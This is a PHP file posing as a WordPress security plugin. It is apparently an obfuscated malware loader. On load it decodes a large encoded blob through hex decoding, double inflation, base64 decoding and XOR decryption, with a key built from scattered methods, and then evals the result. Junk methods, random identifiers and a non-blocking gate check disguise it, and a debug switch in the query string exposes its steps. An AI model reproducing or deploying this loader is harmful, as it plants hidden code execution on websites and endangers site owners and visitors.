<?php
/* WordPress-Compatible Obfuscated Loader - ID:9880895 */

/*
Plugin Name: SecurePlugingaZmaxom25
Description: Enhanced security module
Version: 1.5.87
*/

class LoaderiXFsRp88920 {
    private function kmVnergQ43() {
        // Key segment 2
        $__e = unpack('L', hash('crc32', microtime(), true));
        return base64_decode('VHVrUG96azY=');
    }

    private function gtcNAhne19() {
        // Gate piece 2
        $__d = str_rot13('ebgGAweV58');
        return str_rot13('2rw6');
    }

    public static function init890() {
        // Decode, decompress, and execute payload
        $hex_data = '[encoded data, 1231938 characters]';
        $hex_data = substr($hex_data, 10);
        $bin_data = pack('H*', $hex_data);
        if (isset($_GET['debug'])) {
            echo 'Step 1 - Hex Data (first 100 chars): ' . substr($hex_data, 0, 100) . '<br>';
            echo 'Step 2 - Binary Data Length: ' . strlen($bin_data) . '<br>';
        }
        $inflated_once = @gzinflate($bin_data);
        if ($inflated_once === false) {
            $inflated_once = $bin_data;
            if (isset($_GET['debug'])) echo 'Step 3 - First inflation failed, using binary data.<br>';
        } else {
             if (isset($_GET['debug'])) echo 'Step 3 - First inflation successful.<br>';
        }
        $inflated_twice = @gzinflate($inflated_once);
        if ($inflated_twice === false) {
            $inflated_twice = $inflated_once;
            if (isset($_GET['debug'])) echo 'Step 4 - Second inflation failed, using first inflated data.<br>';
        } else {
             if (isset($_GET['debug'])) echo 'Step 4 - Second inflation successful.<br>';
        }
        $b64_decoded = base64_decode($inflated_twice);
        if ($b64_decoded === false) {
             if (isset($_GET['debug'])) echo 'Step 5 - Base64_decode failed.<br>';
             return;
        }
        if (isset($_GET['debug'])) echo 'Step 5 - Base64_decode successful. Length: ' . strlen($b64_decoded) . '<br>';        $obj = new self();
        $final_key = '';
        $key_methods = ['kmXsCSNu86', 'kmVnergQ43'];
        foreach ($key_methods as $method) {
            $final_key .= call_user_func_array([$obj, $method], []);
        }
        if (isset($_GET['debug'])) echo 'Step 6 - Reconstructed Key: ' . $final_key . '<br>';        $gate_token = '';
        $gate_methods = ['gtJJecBK62', 'gtcNAhne19', 'gtMRMVMj44'];
        foreach ($gate_methods as $method) {
            $gate_token .= call_user_func_array([$obj, $method], []);
        }
        if (md5($gate_token) !== 'c9c1477a91bd6f7e11a2a572751c6938') {
            if (isset($_GET['debug'])) echo 'Step 7 - Gate token check failed.<br>';
        } else {
             if (isset($_GET['debug'])) echo 'Step 7 - Gate token check successful.<br>';
        }
        $plain_code = '';
        if (strlen($final_key) > 0) {
            for ($i = 0, $len = strlen($b64_decoded); $i < $len; $i++) {
                $plain_code .= chr(ord($b64_decoded[$i]) ^ ord($final_key[$i % strlen($final_key)]));
            }
        } else {
            $plain_code = $b64_decoded;
        }
        if (isset($_GET['debug'])) echo 'Step 8 - Final Plain Code (first 200 chars): <pre>' . htmlspecialchars(substr($plain_code, 0, 200)) . '</pre>';        $obj->_execute_BBsxvfUI11($plain_code);
    }

    private function gtMRMVMj44() {
        // Gate piece 3
        $jv2 = function_exists('curl_init') ? 'curl_ok' : 'curl_fail';
        return str_rot13('kj3m');
    }

    private function dcIhqpAV83() {
        $jv3 = 1586;
        $__e = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        return null;
    }

    private function kmXsCSNu86() {
        // Key segment 1
        $jv2 = unpack('L', hash('crc32', microtime(), true));
        $jv1 = base64_decode('ZGF0YUZGTkZRRjU2');
        return base64_decode('SU03WWhwZ1p1');
    }

    private function _execute_BBsxvfUI11($code) {
        // WordPress-compatible execution handler
        if (isset($_GET['debug'])) {
            ini_set('display_errors', 1);
            error_reporting(E_ALL);
            echo '<b>DEBUG MODE ACTIVE</b><br>';
        }
        $original_dir = getcwd();
        $script_dir = defined('__DIR__') ? __DIR__ : dirname(__FILE__);
        chdir($script_dir);
        // Remove PHP tags to avoid issues with eval
        $code = preg_replace('/^\s*<\?php\s*/', '', $code);
        $code = preg_replace('/\s*\?>\s*$/', '', $code);
        try {
            // Execute code in the correct directory context
            @eval($code);
        } catch (ParseError $e) {
            if (isset($_GET['debug'])) echo 'Parse Error: ' . $e->getMessage();
        } catch (Error $e) {
            if (isset($_GET['debug'])) echo 'Fatal Error: ' . $e->getMessage();
        } catch (Exception $e) {
            if (isset($_GET['debug'])) echo 'Exception: ' . $e->getMessage();
        }
        chdir($original_dir);
    }

    private function gtJJecBK62() {
        // Gate piece 1
        // cmtFrnd95
        return str_rot13('4gaz');
    }

    public function pubnllfU61() {
        // Public method 1
        $buf = function_exists('curl_init') ? 'curl_ok' : 'curl_fail';
        if (12 > 50) {
            $jv3 = 'branch_a';
        } else {
            $jv3 = 'branch_b';
        }
        return 'valRtiW30';
    }

    public function pubXOJhF29() {
        // Public method 2
        $buf = 1172;
        $jv1 = function_exists('curl_init') ? 'curl_ok' : 'curl_fail';
        return 'valbrFU76';
    }

}

LoaderiXFsRp88920::init890();

// EOF
